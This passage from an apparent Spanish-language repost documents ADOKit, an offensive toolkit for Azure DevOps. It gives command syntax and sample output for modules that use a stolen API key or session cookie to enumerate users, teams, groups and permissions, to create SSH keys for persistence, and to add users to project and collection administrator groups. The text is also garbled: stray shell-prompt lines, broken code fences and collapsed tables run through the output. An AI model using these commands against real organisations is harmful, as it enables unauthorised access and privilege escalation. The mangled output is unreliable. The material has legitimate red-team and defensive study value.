================================================== Module: createsshkey Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/3/2023 2:51:22 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                          SSH Key ID |                           Name |                          Scope |                    Valid Until |            Public SSH Key

root@kitploit:~
fbde9f3e-bbe3-4442-befb-c2ddeab75c58 |                       ADOKit-iCBfYfFR |                      app_token |           4/3/2024 12:00:00 AM |   ...hOLNYMk5LkbLRMG36RE=

4/3/23 18:51:24 Finished execution of createsshkey

root@kitploit:~
### Listar Claves SSH

#### Caso de Uso

> *Listar todas las claves SSH públicas de un usuario determinado en una instancia de Azure DevOps.*

#### Sintaxis

Proporcione el módulo `listsshkey`, junto con cualquier información de autenticación relevante y la URL. Esto generará el ID de clave SSH, nombre, ámbito y fecha de validez de todas las claves SSH activas para el usuario. Además, imprimirá los últimos 20 caracteres de la clave SSH pública.

`ADOKit.exe listsshkey /credential:apiKey /url:https://dev.azure.com/organizationName`

`ADOKit.exe listsshkey /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`

#### Ejemplo de Salida```
C:\>ADOKit.exe listsshkey /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization

==================================================
Module:         listsshkey
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/3/2023 11:37:10 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                              SSH Key ID |                           Name |                          Scope |                    Valid Until |            Public SSH Key
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------
    ec056907-9370-4aab-b78c-d642d551eb98 |                   test-ssh-key |                      app_token |            4/3/2024 3:13:58 PM |   ...nDoYAPisc/pEFArVVV0=

4/3/23 15:37:11 Finished execution of listsshkey

Eliminar clave SSH

Caso de uso

Eliminar una clave SSH para un usuario determinado en una instancia de Azure DevOps.

Sintaxis

Proporcione el módulo removesshkey, junto con cualquier información de autenticación relevante y la URL. Además, proporcione el ID de la clave SSH en el argumento /id:. Esto mostrará si la clave SSH fue eliminada o no, y luego listará las claves SSH activas actuales del usuario después de realizar la eliminación.

ADOKit.exe removesshkey /credential:apiKey /url:https://dev.azure.com/organizationName /id:000-000-0000...

ADOKit.exe removesshkey /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /id:000-000-0000...

Salida de ejemplo```

C:>ADOKit.exe removesshkey /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /id:a199c036-d7ed-4848-aae8-2397470aff97

================================================== Module: removesshkey Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/3/2023 1:50:08 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

[+] SUCCESS: SSH key with ID a199c036-d7ed-4848-aae8-2397470aff97 was removed successfully.

root@kitploit:~
                          SSH Key ID |                           Name |                          Scope |                    Valid Until |            Public SSH Key

root@kitploit:~
ec056907-9370-4aab-b78c-d642d551eb98 |                   test-ssh-key |                      app_token |            4/3/2024 3:13:58 PM |   ...nDoYAPisc/pEFArVVV0=

4/3/23 17:50:09 Finished execution of removesshkey

root@kitploit:~
### Listar Usuarios

#### Caso de Uso

> *Listar usuarios dentro de una instancia de Azure DevOps*

#### Sintaxis

Proporcione el módulo `listuser`, junto con cualquier información de autenticación relevante y la URL. Esto mostrará el nombre de usuario, el nombre para mostrar y el nombre principal de usuario.

`ADOKit.exe listuser /credential:apiKey /url:https://dev.azure.com/organizationName`

`ADOKit.exe listuser /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`

#### Ejemplo de Salida```
C:\>ADOKit.exe listuser /credential:apiKey /url:https://dev.azure.com/YourOrganization

==================================================
Module:         listuser
Auth Type:      API Key
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/3/2023 4:12:07 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                                          Username |                                       Display Name |                                                UPN
------------------------------------------------------------------------------------------------------------------------------------------------------------
                                             user1 |                                             User 1 |             [email protected]
                                          jsmith |                                        John Smith |          [email protected]
                                           rsmith |                                       Ron Smith |           [email protected]
                                             user2 |                                             User 2 |             [email protected]

4/3/23 20:12:08 Finished execution of listuser

Buscar Usuario

Caso de Uso

Buscar uno o varios usuarios en una instancia de Azure DevOps

Sintaxis

Proporcione el módulo searchuser y sus criterios de búsqueda en el argumento de línea de comandos /search:, junto con cualquier información de autenticación y URL relevante. Esto devolverá el nombre de usuario coincidente, el nombre para mostrar y el nombre principal de usuario.

ADOKit.exe searchuser /credential:apiKey /url:https://dev.azure.com/organizationName /search:user

ADOKit.exe searchuser /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:user

Ejemplo de Salida```

C:>ADOKit.exe searchuser /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"user"

================================================== Module: searchuser Auth Type: API Key Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/3/2023 4:12:23 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                                      Username |                                       Display Name |                                                UPN

root@kitploit:~
                                         user1 |                                             User 1 |             [email protected]
                                         user2 |                                             User 2 |             [email protected]

4/3/23 20:12:24 Finished execution of searchuser

root@kitploit:~
### Listar Equipos

#### Caso de Uso

> *Listar equipos dentro de una instancia de Azure DevOps*

#### Sintaxis

Proporcione el módulo `listteam`, junto con cualquier información de autenticación relevante y la URL. Esto mostrará el nombre del equipo, el nombre del proyecto y la descripción del equipo.

`ADOKit.exe listteam /credential:apiKey /url:https://dev.azure.com/organizationName`

`ADOKit.exe listteam /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`

#### Ejemplo de Salida```
C:\>ADOKit.exe listteam /credential:apiKey /url:https://dev.azure.com/YourOrganization

==================================================
Module:         listteam
Auth Type:      API Key
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      5/31/2024 9:48:26 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                                         Team Name |                        Project |                                        Description
----------------------------------------------------------------------------------------------------------------------------------------
                     ProjectWithMultipleRepos Team |       ProjectWithMultipleRepos |                          The default project team.
                                 MaraudersMap Team |                   MaraudersMap |                          The default project team.
                                 TestProject2 Team |                   TestProject2 |                          The default project team.
                                  TestProject Team |                    TestProject |                          The default project team.

Equipo de Búsqueda

Caso de Uso

Buscar equipo(s) específicos en una instancia de Azure DevOps

Sintaxis

Proporcione el módulo searchteam y sus criterios de búsqueda en el argumento de línea de comandos /search:, junto con cualquier información de autenticación relevante y la URL. Esto mostrará el nombre del equipo, el nombre del proyecto y la descripción del equipo.

ADOKit.exe searchteam /credential:apiKey /url:https://dev.azure.com/organizationName /search:someTeam

ADOKit.exe searchteam /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:someTeam

Ejemplo de Salida```

C:>ADOKit.exe searchteam /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:test

================================================== Module: searchteam Auth Type: API Key Search Term: test Target URL: https://dev.azure.com/YourOrganization

Timestamp: 5/31/2024 9:48:32 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                                     Team Name |                        Project |                                        Description

root@kitploit:~
                             TestProject2 Team |                   TestProject2 |                          The default project team.
                              TestProject Team |                    TestProject |                          The default project team.
root@kitploit:~
### Obtener Miembros del Equipo

#### Caso de Uso

> *Obtener miembros del equipo para un equipo dado*

#### Sintaxis

Proporcione el módulo `getteammembers` y sus criterios de búsqueda en el argumento de línea de comandos `/search:`, junto con cualquier información de autenticación relevante y la URL. Esto generará el nombre del equipo, el nombre de usuario del miembro del equipo y el nombre para mostrar del miembro del equipo.

`ADOKit.exe getteammembers /credential:apiKey /url:https://dev.azure.com/organizationName /search:someTeam`

`ADOKit.exe getteammembers /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:someTeam`

#### Salida de Ejemplo```
C:\source\ADOKit-main\ADOKit\bin\Release>ADOKit.exe getteammembers /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"dev team"

==================================================
Module:         getteammembers
Auth Type:      API Key
Search Term:    dev team
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      5/31/2024 10:45:11 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                                         Team Name |                                     Username |                                  User Display Name
-------------------------------------------------------------------------------------------------------------------------------------------------------
                                          Dev Team |             [email protected] |                                             User 1
                                          Dev Team |             [email protected] |                                              user3
                                          Dev Team |             [email protected] |                                              user4

List Groups

Caso de Uso

Listar grupos dentro de una instancia de Azure DevOps

Sintaxis

Proporcione el módulo listgroup, junto con cualquier información de autenticación relevante y la URL. Esto mostrará el nombre principal del usuario, el nombre para mostrar y la descripción del grupo.

ADOKit.exe listgroup /credential:apiKey /url:https://dev.azure.com/organizationName

ADOKit.exe listgroup /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName

Ejemplo de Salida```

C:>ADOKit.exe listgroup /credential:apiKey /url:https://dev.azure.com/YourOrganization

================================================== Module: listgroup Auth Type: API Key Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/3/2023 4:48:45 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                                           UPN |                                       Display Name |                                        Description

root@kitploit:~
                    [TestProject]\Contributors |                                       Contributors | Members of this group can add, modify, and delete items within the team project.
           [TestProject2]\Build Administrators |                               Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[YourOrganization]\Project-Scoped Users |                               Project-Scoped Users | Members of this group will have limited visibility to  organization-level data

[ProjectWithMultipleRepos]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds. [MaraudersMap]\Readers | Readers | Members of this group have access to the team project. [YourOrganization]\Project Collection Test Service Accounts | Project Collection Test Service Accounts | Members of this group should include the service accounts used by the test controllers set up for this project collection. [MaraudersMap]\MaraudersMap Team | MaraudersMap Team | The default project team. [TEAM FOUNDATION]\Enterprise Service Accounts | Enterprise Service Accounts | Members of this group have service-level permissions in this enterprise. For service accounts only. [YourOrganization]\Security Service Group | Security Service Group | Identities which are granted explicit permission to a resource will be automatically added to this group if they were not previously a member of any other group. [TestProject]\Release Administrators | Release Administrators | Members of this group can perform all operations on Release Management

---SNIP---

4/3/23 20:48:46 Finished execution of listgroup

root@kitploit:~
### Buscar Grupos

#### Caso de Uso

> *Buscar grupo(s) específico(s) en una instancia de Azure DevOps*

#### Sintaxis

Proporcione el módulo `searchgroup` y sus criterios de búsqueda en el argumento de línea de comandos `/search:`, junto con cualquier información de autenticación relevante y la URL. Esto mostrará el nombre principal del usuario, el nombre para mostrar y la descripción del grupo coincidente.

`ADOKit.exe searchgroup /credential:apiKey /url:https://dev.azure.com/organizationName /search:"someGroup"`

`ADOKit.exe searchgroup /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:"someGroup"`

#### Ejemplo de Salida```
C:\>ADOKit.exe searchgroup /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"admin"

==================================================
Module:         searchgroup
Auth Type:      API Key
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/3/2023 4:48:41 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                                                                   UPN |                   Display Name |                                        Description
------------------------------------------------------------------------------------------------------------------------------------------------------------
                                   [TestProject2]\Build Administrators |           Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
                       [ProjectWithMultipleRepos]\Build Administrators |           Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
                                  [TestProject]\Release Administrators |         Release Administrators | Members of this group can perform all operations on Release Management
                                    [TestProject]\Build Administrators |           Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
                                 [MaraudersMap]\Project Administrators |         Project Administrators | Members of this group can perform all operations in the team project.
                                 [TestProject2]\Project Administrators |         Project Administrators | Members of this group can perform all operations in the team project.
           [YourOrganization]\Project Collection Administrators | Project Collection Administrators | Members of this application group can perform all privileged operations on the Team Project Collection.
                     [ProjectWithMultipleRepos]\Project Administrators |         Project Administrators | Members of this group can perform all operations in the team project.
                                   [MaraudersMap]\Build Administrators |           Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
     [YourOrganization]\Project Collection Build Administrators | Project Collection Build Administrators | Members of this group should include accounts for people who should be able to administer the build resources.
                                  [TestProject]\Project Administrators |         Project Administrators | Members of this group can perform all operations in the team project.

4/3/23 20:48:42 Finished execution of searchgroup

Obtener Miembros del Grupo

Caso de Uso

Listar todos los miembros de un grupo determinado

Sintaxis

Proporcione el módulo getgroupmembers y el/los grupo(s) que desea buscar en el argumento de línea de comandos /group:, junto con cualquier información de autenticación relevante y la URL. Esto mostrará el nombre principal de usuario del grupo coincidente, junto con cada miembro de ese grupo, incluyendo la dirección de correo y el nombre para mostrar del usuario.

ADOKit.exe getgroupmembers /credential:apiKey /url:https://dev.azure.com/organizationName /group:"someGroup"

ADOKit.exe getgroupmembers /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /group:"someGroup"

Ejemplo de Salida```

C:>ADOKit.exe getgroupmembers /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /group:"admin"

================================================== Module: getgroupmembers Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/4/2023 9:11:03 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                                                             Group |                                       Mail Address |                                       Display Name

root@kitploit:~
                               [TestProject2]\Build Administrators |             [email protected] |                                             User 1
                               [TestProject2]\Build Administrators |             [email protected] |                                             User 2
                             [MaraudersMap]\Project Administrators | [email protected] |                                      Brett Hawkins
                             [MaraudersMap]\Project Administrators |           [email protected] |                                       Ron Smith
                             [TestProject2]\Project Administrators |             [email protected] |                                             User 1
                             [TestProject2]\Project Administrators |             [email protected] |                                             User 2
       [YourOrganization]\Project Collection Administrators |          [email protected] |                                        John Smith
                 [ProjectWithMultipleRepos]\Project Administrators | [email protected] |                                      Brett Hawkins
                               [MaraudersMap]\Build Administrators | [email protected] |                                      Brett Hawkins

4/4/23 13:11:09 Finished execution of getgroupmembers

root@kitploit:~
### Obtener Permisos de Proyecto

#### Caso de Uso

> *Obtener un listado de quién tiene permisos para un proyecto determinado.*

#### Sintaxis

Proporcione el módulo `getpermissions` y el proyecto que desea buscar en el argumento de línea de comandos `/project:`, junto con cualquier información de autenticación relevante y la URL. Esto mostrará el nombre principal del usuario, el nombre para mostrar y la descripción del grupo coincidente. Además, mostrará los miembros del grupo para cada uno de esos grupos.

`ADOKit.exe getpermissions /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someproject"`

`ADOKit.exe getpermissions /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someproject"`

#### Ejemplo de Salida```
C:\>ADOKit.exe getpermissions /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"

==================================================
Module:         getpermissions
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/4/2023 9:11:16 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                                               UPN |                                       Display Name |                                        Description
------------------------------------------------------------------------------------------------------------------------------------------------------------
               [MaraudersMap]\Build Administrators |                               Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
                       [MaraudersMap]\Contributors |                                       Contributors | Members of this group can add, modify, and delete items within the team project.
                  [MaraudersMap]\MaraudersMap Team |                                  MaraudersMap Team |                          The default project team.
             [MaraudersMap]\Project Administrators |                             Project Administrators | Members of this group can perform all operations in the team project.
                [MaraudersMap]\Project Valid Users |                                Project Valid Users | Members of this group have access to the team project.
                            [MaraudersMap]\Readers |                                            Readers | Members of this group have access to the team project.


[*] INFO: Listing group members for each group that has permissions to this project



GROUP NAME: [MaraudersMap]\Build Administrators

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------


GROUP NAME: [MaraudersMap]\Contributors

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
                                           [MaraudersMap]\Contributors |             [email protected] |                                             User 1
                                           [MaraudersMap]\Contributors |             [email protected] |                                             User 2


GROUP NAME: [MaraudersMap]\MaraudersMap Team

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
                                      [MaraudersMap]\MaraudersMap Team | [email protected] |                                      Brett Hawkins


GROUP NAME: [MaraudersMap]\Project Administrators

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
                                 [MaraudersMap]\Project Administrators | [email protected] |                                      Brett Hawkins


GROUP NAME: [MaraudersMap]\Project Valid Users

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------


GROUP NAME: [MaraudersMap]\Readers

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
                                                [MaraudersMap]\Readers |          [email protected] |                                        John Smith

4/4/23 13:11:18 Finished execution of getpermissions

Añadir Administrador de Proyecto

Caso de Uso

Añadir un usuario al grupo de Administradores del Proyecto para un proyecto dado.

Sintaxis

Proporcione el módulo addprojectadmin junto con un /project: y /user: para que un usuario dado sea añadido al grupo Administradores del Proyecto para el proyecto dado. Además, proporcione la información de autenticación relevante y la URL. Consulte la Tabla de Detalles del Módulo para conocer los permisos necesarios para realizar esta acción.

ADOKit.exe addprojectadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"

ADOKit.exe addprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"

Ejemplo de Salida```

C:>ADOKit.exe addprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"

================================================== Module: addprojectadmin Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/4/2023 2:52:45 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

[*] INFO: Attempting to add user1 to the Project Administrators group for the maraudersmap project.

[+] SUCCESS: User successfully added

root@kitploit:~
                                                             Group |                                       Mail Address |                                       Display Name

root@kitploit:~
                             [MaraudersMap]\Project Administrators | [email protected] |                                      Brett Hawkins
                             [MaraudersMap]\Project Administrators |             [email protected] |                                             User 1

4/4/23 18:52:47 Finished execution of addprojectadmin

root@kitploit:~
### Eliminar Administrador de Proyecto

#### Caso de uso

> *Eliminar a un usuario del grupo de Administradores de Proyecto para un proyecto determinado.*

#### Sintaxis

Proporcione el módulo `removeprojectadmin` junto con `/project:` y `/user:` para que un usuario sea eliminado del grupo `Administradores de Proyecto` para el proyecto indicado. Además, proporcione cualquier información de autenticación relevante y la URL. Consulte la [Tabla de Detalles del Módulo](#module-details-table) para conocer los permisos necesarios para realizar esta acción.

`ADOKit.exe removeprojectadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`

`ADOKit.exe removeprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`

#### Ejemplo de salida```
C:\>ADOKit.exe removeprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"

==================================================
Module:         removeprojectadmin
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/4/2023 3:19:43 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[*] INFO: Attempting to remove user1 from the Project Administrators group for the maraudersmap project.

[+] SUCCESS: User successfully removed

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
                                 [MaraudersMap]\Project Administrators | [email protected] |                                      Brett Hawkins

4/4/23 19:19:44 Finished execution of removeprojectadmin

Añadir Administrador de Compilación

Caso de Uso

Añadir un usuario al grupo de Administradores de Compilación para un proyecto determinado.

Sintaxis

Proporcione el módulo addbuildadmin junto con /project: y /user: para que un usuario determinado sea añadido al grupo Build Administrators para el proyecto dado. Además, proporcione cualquier información de autenticación relevante y la URL. Consulte la Tabla de Detalles del Módulo para conocer los permisos necesarios para realizar esta acción.

ADOKit.exe addbuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"

ADOKit.exe addbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"

Ejemplo de Salida```

C:>ADOKit.exe addbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"

================================================== Module: addbuildadmin Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/4/2023 3:41:51 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

[*] INFO: Attempting to add user1 to the Build Administrators group for the maraudersmap project.

[+] SUCCESS: User successfully added

root@kitploit:~
                                                             Group |                                       Mail Address |                                       Display Name

root@kitploit:~
                               [MaraudersMap]\Build Administrators |             [email protected] |                                             User 1

4/4/23 19:41:55 Finished execution of addbuildadmin

root@kitploit:~
### Eliminar Administrador de Compilación

#### Caso de Uso

> *Eliminar un usuario del grupo Administradores de Compilación de un proyecto determinado.*

#### Sintaxis

Proporcione el módulo `removebuildadmin` junto con un `/project:` y `/user:` para que un usuario determinado sea eliminado del grupo `Build Administrators` del proyecto indicado. Además, proporcione cualquier información de autenticación relevante y la URL. Consulte la [Tabla de Detalles del Módulo](#module-details-table) para conocer los permisos necesarios para realizar esta acción.

`ADOKit.exe removebuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`

`ADOKit.exe removebuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`

#### Salida de Ejemplo```
C:\>ADOKit.exe removebuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"

==================================================
Module:         removebuildadmin
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/4/2023 3:42:10 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[*] INFO: Attempting to remove user1 from the Build Administrators group for the maraudersmap project.

[+] SUCCESS: User successfully removed

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

4/4/23 19:42:11 Finished execution of removebuildadmin

Agregar Administrador de Colección

Caso de Uso

Agregar un usuario al grupo de Administradores de Colección de Proyecto.

Sintaxis

Proporcione el módulo addcollectionadmin junto con un /user: para un usuario determinado que se agregará al grupo Project Collection Administrators. Además, proporcione cualquier información de autenticación relevante y la URL. Consulte la Tabla de Detalles del Módulo para conocer los permisos necesarios para realizar esta acción.

ADOKit.exe addcollectionadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"

ADOKit.exe addcollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"

Salida de Ejemplo```

C:>ADOKit.exe addcollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"

================================================== Module: addcollectionadmin Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/4/2023 4:04:40 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

[*] INFO: Attempting to add user1 to the Project Collection Administrators group.

[+] SUCCESS: User successfully added

root@kitploit:~
                                                             Group |                                       Mail Address |                                       Display Name

root@kitploit:~
       [YourOrganization]\Project Collection Administrators |          [email protected] |                                        John Smith
       [YourOrganization]\Project Collection Administrators |             [email protected] |                                             User 1

4/4/23 20:04:43 Finished execution of addcollectionadmin

root@kitploit:~
### Eliminar administrador de colección

#### Caso de uso

> *Eliminar a un usuario del grupo de Administradores de la Colección del Proyecto.*

#### Sintaxis

Proporcione el módulo `removecollectionadmin` junto con `/user:` para eliminar a un usuario del grupo `Project Collection Administrators`. Además, proporcione cualquier información de autenticación relevante y la URL. Consulte la [Tabla de detalles del módulo](#module-details-table) para conocer los permisos necesarios para realizar esta acción.

`ADOKit.exe removecollectionadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`

`ADOKit.exe removecollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`

#### Ejemplo de salida```
C:\>ADOKit.exe removecollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"

==================================================
Module:         removecollectionadmin
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/4/2023 4:10:35 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[*] INFO: Attempting to remove user1 from the Project Collection Administrators group.

[+] SUCCESS: User successfully removed

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
           [YourOrganization]\Project Collection Administrators |          [email protected] |                                        John Smith

4/4/23 20:10:38 Finished execution of removecollectionadmin

Agregar Administrador de Compilación de Colección

Caso de Uso

Agregar un usuario al grupo de Administradores de Compilación de Colección de Proyectos.

Sintaxis

Proporcione el módulo addcollectionbuildadmin junto con un /user: para que un usuario determinado sea agregado al grupo Project Collection Build Administrators. Además, proporcione cualquier información de autenticación relevante y la URL. Consulte la Tabla de Detalles del Módulo para conocer los permisos necesarios para realizar esta acción.

ADOKit.exe addcollectionbuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"

ADOKit.exe addcollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"

Salida de Ejemplo```

C:>ADOKit.exe addcollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"

================================================== Module: addcollectionbuildadmin Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/5/2023 8:21:39 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

[*] INFO: Attempting to add user1 to the Project Collection Build Administrators group.

[+] SUCCESS: User successfully added

root@kitploit:~
                                                             Group |                                       Mail Address |                                       Display Name

root@kitploit:~
 [YourOrganization]\Project Collection Build Administrators |             [email protected] |                                             User 1

4/5/23 12:21:42 Finished execution of addcollectionbuildadmin

root@kitploit:~
### Eliminar Administrador de Compilación de Colección

#### Caso de Uso

> *Eliminar un usuario del grupo Project Collection Build Administrators.*

#### Sintaxis

Proporcione el módulo `removecollectionbuildadmin` junto con un `/user:` para un usuario determinado que será eliminado del grupo `Project Collection Build Administrators`. Además, proporcione cualquier información de autenticación relevante y la URL. Consulte [Tabla de Detalles del Módulo](#module-details-table) para conocer los permisos necesarios para realizar esta acción.

`ADOKit.exe removecollectionbuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`

`ADOKit.exe removecollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`

#### Ejemplo de Salida```
C:\>ADOKit.exe removecollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"

==================================================
Module:         removecollectionbuildadmin
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/5/2023 8:21:59 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[*] INFO: Attempting to remove user1 from the Project Collection Build Administrators group.

[+] SUCCESS: User successfully removed

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

4/5/23 12:22:02 Finished execution of removecollectionbuildadmin

Agregar cuenta de servicio de compilación de la colección

Caso de uso

Agregar un usuario al grupo de cuentas de servicio de compilación de la colección de proyectos.

Sintaxis

Proporcione el módulo addcollectionbuildsvc junto con /user: para que un usuario dado sea agregado al grupo Project Collection Build Service Accounts. Adicionalmente, proporcione cualquier información de autenticación relevante y la URL. Consulte la Tabla de detalles del módulo para conocer los permisos necesarios para realizar esta acción.

ADOKit.exe addcollectionbuildsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"

ADOKit.exe addcollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"

Salida de ejemplo```

C:>ADOKit.exe addcollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"

================================================== Module: addcollectionbuildsvc Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/5/2023 8:22:13 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

[*] INFO: Attempting to add user1 to the Project Collection Build Service Accounts group.

[+] SUCCESS: User successfully added

root@kitploit:~
                                                             Group |                                       Mail Address |                                       Display Name

[YourOrganization]\Project Collection Build Service Accounts | [email protected] | User 1

4/5/23 12:22:15 Finished execution of addcollectionbuildsvc

